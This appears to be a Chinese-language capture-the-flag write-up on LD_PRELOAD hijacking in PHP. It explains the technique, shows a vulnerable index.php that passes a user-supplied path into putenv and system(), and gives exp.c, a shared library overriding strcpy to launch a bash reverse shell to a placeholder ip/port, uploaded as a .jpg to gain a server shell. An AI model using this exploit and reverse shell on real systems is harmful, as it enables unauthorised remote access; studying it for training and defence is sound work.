LD_PRELOAD劫持
<1> LD_PRELOAD简介
LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持,流程如下
- 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
- 将包含替换函数的源码编译为动态链接库 命令:gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
- 通过命令 export LD_PRELOAD=”库文件路径”,设置要优先替换动态链接库
- 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
- 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
- 想查询依赖关系,可以用ldd命令,例如: ldd random
例题:index.php的源码
vi -r index.php.swp
恢复文件内容
$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
if(file_exists($img_path)){
//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
#system函数这里可以劫持
system("echo Success to load");
echo "<br><img src=$img_path>";
}else{
system("echo Failed to load ");
}
}
(1)strace 用于跟踪系统调用和信号
hack.php:
<?php
system("echo Success to load");
执行以下命令,可以查看进程调用的系统函数明细:
strace -f php hack.php 2>&1 | grep -A2 -B2 execve
(2) readelf 命令查看一下 系统命令/bin/sh调用的函数,发现了 strcpy()
readelf -Ws /usr/bin/sh
综上,我们写一个 exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
//反弹shell
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
执行 gcc -shared -fPIC exp.c -o exp.so
根据报错修改参数一致,重新运行生成exp.so LD_PRELOAD可以解析jpg后缀,只用修改后缀即可
上传文件所在路径:upload/exp.jpg,回到index.php 加载 upload/exp.jpg 服务器上拿到shell。